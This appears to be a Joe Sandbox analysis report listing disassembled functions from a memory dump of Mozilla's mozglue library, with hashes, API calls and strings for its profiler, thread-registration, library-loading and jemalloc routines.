Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction ID: 93c2e9b11f20a32c0f25a41f10fb7134b0e68c492a3fac5eec3e71711bf03715
Opcode Fuzzy Hash: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction Fuzzy Hash: 4AF137726087459FD740CE28CC807AEB7E6AFC5319F15CA3DE4D487781E77498898792

Function 6C4DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 3db0940278c151d6171303a0cb17ca70b8fb635cae8602f95b56aedbb0d49a1c
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 9FA1B371F0021A8FDB08DE69C891BAEB7F2AFC8355F198169E915E7781D7346C068BD0

Function 6C517710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction ID: aa3a02b1b3ff15dfdbd00da9a773a39bad4616183b7b6240c88c6d486085e0bc
Opcode Fuzzy Hash: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction Fuzzy Hash: AC716D75E052198FDF08CFA9C8945EEBBB2FF89354F24816ED815ABB40D731A905CB90

Function 6C51CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4E582D), ref: 6C51CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4E582D), ref: 6C51CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C54FE98,?,?,?,?,?,6C4E582D), ref: 6C51CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C51CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C51CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C51CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C51CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C51CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C51CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C51CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C51CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C51CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C51CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C51CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C51CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C51CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C51CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C51CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C51CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C51CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C51CE8A

Strings

notimerresolutionchange, xrefs: 6C51CE00
nostacksampling, xrefs: 6C51CD7C
nativeallocations, xrefs: 6C51CDA8
samplingallthreads, xrefs: 6C51CE2C
audiocallbacktracing, xrefs: 6C51CDD4
java, xrefs: 6C51CC37
stackwalk, xrefs: 6C51CCF8
cpuallthreads, xrefs: 6C51CE16
seqstyle, xrefs: 6C51CCE6
mainthreadio, xrefs: 6C51CC7C
processcpu, xrefs: 6C51CE6E
preferencereads, xrefs: 6C51CD92
unregisteredthreads, xrefs: 6C51CE58
fileio, xrefs: 6C51CC92
markersallthreads, xrefs: 6C51CE42
Unrecognized feature "%s"., xrefs: 6C51CEA0
fileioall, xrefs: 6C51CCA8
leaf, xrefs: 6C51CC66
noiostacks, xrefs: 6C51CCBE
jsallocations, xrefs: 6C51CD0E
ipcmessages, xrefs: 6C51CDBE
default, xrefs: 6C51CC21
power, xrefs: 6C51CE84
screenshots, xrefs: 6C51CCD4

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction ID: 264b4a6e11670e5a3b84bca554bfc81176ef5f901ed56783c2c41cfea4986744
Opcode Fuzzy Hash: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction Fuzzy Hash: 7651A9F1A5D26552FA0171196D19BAA1405EFD334AF10883BED0BA1F80FB07FA1D86B7

Function 6C4E47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E482D
__Init_thread_footer.LIBCMT ref: 6C4E484A

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

GetCurrentThreadId.KERNEL32 ref: 6C4E485F
GetCurrentThreadId.KERNEL32 ref: 6C4E487E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E488B
free.MOZGLUE(?), ref: 6C4E493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E4956
free.MOZGLUE(00000000), ref: 6C4E4960
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E499A

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

free.MOZGLUE(?), ref: 6C4E49C6
free.MOZGLUE(?), ref: 6C4E49E9

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C4E4A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E4812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C4E4A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E4828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E47FC

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction ID: bc32ad869a3fc813948ef1718eb681853037548ad8e45aa4265dd276f7652742
Opcode Fuzzy Hash: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction Fuzzy Hash: A681F571A00110CFDB00DFA8CC48F5A3775BF8A36AF960629D916A7F41D731E855CB9A

Function 6C4E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
Part of subcall function 6C4E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4E44D2
InitOnceExecuteOnce.KERNEL32(6C55F80C,6C4DF240,?,?), ref: 6C4E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E455C
LoadLibraryW.KERNEL32(?), ref: 6C4E4592
InitializeCriticalSection.KERNEL32(6C55F770), ref: 6C4E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4E45BB
InitOnceExecuteOnce.KERNEL32(6C55F818,6C4DF240,?,?), ref: 6C4E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E466D
VerSetConditionMask.NTDLL ref: 6C4E469F
VerSetConditionMask.NTDLL ref: 6C4E46AB
VerSetConditionMask.NTDLL ref: 6C4E46B2
VerSetConditionMask.NTDLL ref: 6C4E46B9
VerSetConditionMask.NTDLL ref: 6C4E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4E46FD

Strings

GUl, xrefs: 6C4E44FC
user32.dll, xrefs: 6C4E4557, 6C4E463F
l, xrefs: 6C4E4578
WRusr.dll, xrefs: 6C4E44B5
NativeNtBlockSet_Write, xrefs: 6C4E46F7
kernel32.dll, xrefs: 6C4E44CD

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GUl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1685291523
Opcode ID: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction ID: 34045ad6320e12c9c95d4a43c2abe66f66a09155707e4339070c463d5f5dd165
Opcode Fuzzy Hash: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction Fuzzy Hash: 7F6108B0A00344AFEB00EFA0CC09F957BF8EF4A34AF868659E5049BB41D7B59955CF94

Function 6C51F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C51F8F9

Part of subcall function 6C4E6390: GetCurrentThreadId.KERNEL32 ref: 6C4E63D0
Part of subcall function 6C4E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4E63DF
Part of subcall function 6C4E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4E640E

ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F93A
GetCurrentThreadId.KERNEL32 ref: 6C51F98A
GetCurrentThreadId.KERNEL32 ref: 6C51F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F716

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C4DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C51F739
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F746
GetCurrentThreadId.KERNEL32 ref: 6C51F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C55385B,00000002,?,?,?,?,?), ref: 6C51F829
free.MOZGLUE(?,?,00000000,?), ref: 6C51F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C51F866
free.MOZGLUE(?), ref: 6C51FA0C

Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C
Part of subcall function 6C4E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
Part of subcall function 6C4E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F53
Part of subcall function 6C4E5E60: GetCurrentThread.KERNEL32 ref: 6C4E5F5C
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F66
Part of subcall function 6C4E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E

free.MOZGLUE(?), ref: 6C51F9C5
free.MOZGLUE(?), ref: 6C51F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C51F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C51F9A6
" attempted to re-register as ", xrefs: 6C51F858
Thread , xrefs: 6C51F789

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction ID: de55df5fa2ba918e0d5ec4f1753462140a1cad23095b586e53a9f93daff6bc88
Opcode Fuzzy Hash: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction Fuzzy Hash: FD81D6716043049FDB10EF24CC44AAAB7A5EFC5308F95465DE84997B51EB31E849CBD2

Function 6C51EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EE60
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE6D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51EEA5
CloseHandle.KERNEL32(?), ref: 6C51EEB4
free.MOZGLUE(00000000), ref: 6C51EEBB
GetCurrentThreadId.KERNEL32 ref: 6C51EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EECF

Part of subcall function 6C51DE60: GetCurrentThreadId.KERNEL32 ref: 6C51DE73
Part of subcall function 6C51DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B
Part of subcall function 6C51DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
Part of subcall function 6C51DE60: free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
Part of subcall function 6C51DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C51EF1E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF2B
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF59
GetCurrentThreadId.KERNEL32 ref: 6C51EFB0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFBD
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFE1
GetCurrentThreadId.KERNEL32 ref: 6C51EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F000

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F02F

Part of subcall function 6C51F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C51F008
[I %d/%d] profiler_stop, xrefs: 6C51EED7

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction ID: 679b26b66f4111e87666dab46c03c264029b6d1082788409dd445c5b91d6b570
Opcode Fuzzy Hash: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction Fuzzy Hash: B951A435708210DFEB00AB65DC0C7A67BB4EB87328F96071AE915C3F81DBB55844C7AA

Function 6C50D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C50D047
GetSystemInfo.KERNEL32(?), ref: 6C50D093
__Init_thread_footer.LIBCMT ref: 6C50D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C50D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C50D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C50D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C50D1B1

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C50D26D
<jemalloc>, xrefs: 6C50D268, 6C50D311
MOZ_CRASH(), xrefs: 6C50D277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C50D322
MALLOC_OPTIONS, xrefs: 6C50D0CB

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
